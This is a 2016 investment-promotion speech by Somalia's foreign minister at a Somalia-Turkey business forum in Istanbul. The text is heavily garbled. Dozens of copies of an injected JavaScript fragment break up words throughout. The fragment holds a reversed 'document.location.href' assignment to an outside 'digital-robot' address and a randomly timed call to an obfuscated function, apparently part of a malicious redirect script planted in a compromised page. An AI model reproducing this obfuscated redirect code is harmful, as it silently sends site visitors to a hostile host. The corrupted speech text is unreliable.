Somalia Turkey Business and Investment Forum

Somalia-Turkey Business and Investment Forum  Speech
Istanbul
Monday 22nd February 2016
Speech delivered by H.E. Dr. Abdusalam H. Omer, Minister for Foreign Affairs and Investment Promotion

somalia-turkey-business-and-investment-forum

Excellencies, distinguished guests and brothers and sisters,

It is an enormous pleasure and honour tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be addressing you all about a subject I feel most passionate about: Investing in Somalia. In fact, as the name of my Ministry suggests, I am responsible for bringing Foreign Direct Investment tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Somalia and this is a goal I am most committed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to.

Across the Somali Government the need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to create the conducive environment tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to attract foreign investment has been placed at the center of all our socio-economic and development policies. Such is the importance our Government and People attach tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to this process and policy.

Turkey is a true brother, ally and friend of Somalia. As a nation we cannot be more sincere in our appreciation and respect for Turkey’s developmental role and efforts on the ground in Somalia.

In fact this event has been organized as part of the HLPF because our two sides understobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tood the great role investment will play in enhancing and advancing Somalia’s current developmental gains, including security. On this matter, I would like tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sincerely thank H.E. Ambassador Olgan Bekar for the support he provided tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bring this event tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fruition and incorporate it intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the HLPF process. Thank you Mr. Ambassador.

The first visit of H.E. President Recep Tayyip Erdoğan tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Somalia in August 2011 and the arrival of Turkish Airline, which after President’s Erdogan’s second visit started tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to operate a 7 day week service, was a game changer. This commitment and early vision has brought the world tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Somalia and it clearly highlighted the potential of our resourceful country tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the world. I am sure it has also paid dividend for Turkish investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors in Somalia who are now in their hundreds.

Mr. Ahmet Sami Isler, the Chairman of Turkey-Somalia Business Council who spoke earlier reminded us of the strengthening and deepening connections between Somali and Turkish entrepreneurs and this is most encouraged and supported by our Government. The best evidence of this is that we have decided tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to provide Turkish investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors with Favourable Treatment and this will be reflected in a Trade and Economic Agreement our two sides will sign during this HLPF in the beautiful and histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toric city of Istanbul.

In fact, we want investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors from other nations tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to follow this lead tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to create a more progressive and prosperous Somalia.

Why Invest in Somalia? Am I mad for promoting investment in Somalia now as one journalist asked when I was only two days intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to my new role as a Foreign Minister? The answer is that I am frighteningly sane and, quite by accident, perhaps a savvy businessman for promoting investment in my country.

A test of this assertion is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to observe and recognize the success of the early Turkish investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors in Mogadishu Port and Aden Ade International Airport among other ventures. Since the success of these enterprises, more and more investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors are showing an interest and lining up tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to invest in Somalia from all over the world.

I am proud tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say that Somalia is one of the most beautiful countries on earth and the Somali people are among the friendliest, resilient and welcoming tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to all groups. Somalia is blessed with untapped natural resources which, with limited investment in most cases, can both transform Somalia’s economic future while creating wealth for investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors.

Somalia has the longest coast in Africa, one of the most reliable broadband in the Horn of Africa, 8.9 million hectares of arable land, a young and increasingly educated workforce and is a world leader in the livestobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock trade. In addition, Somalia has one of the best wind and sun radiation in the world.

According tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the IMF, the economy grew by 3.7% in 2014 and it is forecasted tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to continue on this upwards trajectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory for the foreseeable future as the country stabilizes and the many of the estimated 2 million Diaspora returns tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Invest and resettle in their motherland.

With its enormous untapped resources mentioned earlier, Somalia has the potential tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a world leader in Renewable energy, fishing, agriculture, ICT and livestobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock. Furthermore, with its strategic location in the Gulf of Aden, it has the potential tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to return tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to its former role as a gateway of trade, commerce and logistics by connecting lucrative markets in the Middle and Far East as well as land locked neighboring States with over hundreds of millions of ready custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomers.

Somalia’s economic potential is boundless. Dreams of growth, prosperity and reaching and penetrating new markets can easily be a reality for all foreign investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors. What is desperately needed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to unleash all this national economic energy and opportunity is investment.

Somalia, as a recovering post conflict state, has some challenges which the entrepreneurial spirited investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors would quickly and easily define as opportunities.

In all sectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors infrastructure is important and as a national priority, the construction of this fundamental economic enabler, especially roads, will not only connect opportunities across Somalia but it will give birth tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to new supply chain linked activities.

In addition, since most investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors also have interests in other Horn of Africa neighboring States, investment in Somali infrastructure and priority sectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors will increase profitability while bringing the cost of doing business right down. These lucrative opportunities in new and old internationally competitive industries and sectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors will create additional profits and accelerate Somalia’s national progress in all forms.

The Somali Government is rolling out the red carpet for all Foreign Investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors. Our message is clear: Somalia is open for business.

As I stated earlier, Investment is central tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to our national economic development and, while we are grateful for the aid support we receive, we feel that the traditional aid model does not work especially if we want tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ensure long term national development and prosperity.

Somalia’s Foreign Policy unveiled two weeks ago puts investment at the heart of international engagement while the Parliament and Cabinet endorsed Investment Law stipulates that the best possible investment environment must be nurtured tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to offer the best opportunities tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to all investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors.

In fact, by all assessment, I am confident that Somalia’s Investment law is among the most flexible and investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor friendly you will find anywhere in the world. It affords Foreign Investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors the same rights as national investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors and it welcomes and rewards Public Private Partnership in all priority investment sectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors. Furthermore, SomInvest, the Investment Promotion office of the Government of Somalia operating from the Foreign Ministry, will be dedicated tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to providing free, comprehensive and confidential information, advice and all manner of support tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Foreign Investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors in Somalia.

This is the clearest sign that our Government is making every effort tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to further enhance the investment environment so that the resources of our rich land can be maximized for the benefit of our people, nation and investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors.

Investment opportunities in Somalia are vast as they are potentially lucrative. With the sole aim of further aiding actual and potential investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors, the Somali Government has devised a Priority Projects booklet and an informational investment brochure. Both are available tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today and I strongly urge all investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take a deep and serious look at the projects contained within these documents. They are all socially and economically transformative and financially rewarding for investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors.

Investing in Somalia is like investing anywhere else: Companies must carry out feasible studies, convince their shareholders and eventually move tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the ground and start the implementation process. In each step and at every stage, our Government will stand by each investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make their hopes and dreams a reality on the ground.

In Somalia, like elsewhere, there are risks tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to investing and by locality these could vary. However, in this regard, Somalia again offers a unique opportunity.

This opportunity is the perfect combination for all investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fulfill their crucial Corporate Social Responsibility obligations while genuinely making a social difference and profit in Somalia. I am sure you will all agree, this is the stuff of dreams in most corporate business plans tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today.

In conclusion, I would like tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to remind you all that Somalia has turned the corner. We are proud of our national progress and we remain confident that with our enormous natural and human resources our nation will continue on its socio-economic march forward.

We want you, investobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors in all sectobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to join us on our journey tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fulfill and capitalize on the boundless possibilities offered by our beautiful rich country.

As shareholders of our national developmental dreams, you will also be handsomely rewarded and fully supported by our Government.

A friend of mine tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told me that Somali fish die of old age. The best pension plan I can suggest that best serves both us and the fish is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fish more, eat them and make a social and economic profit in the process.

The stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory of Somalia’s fish best illustrates the fact that if ever there is a genuine Win –Win economic partnership, it is no doubt in Somalia. So welcome with open arms tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to your future opportunities and wealth.

Thank you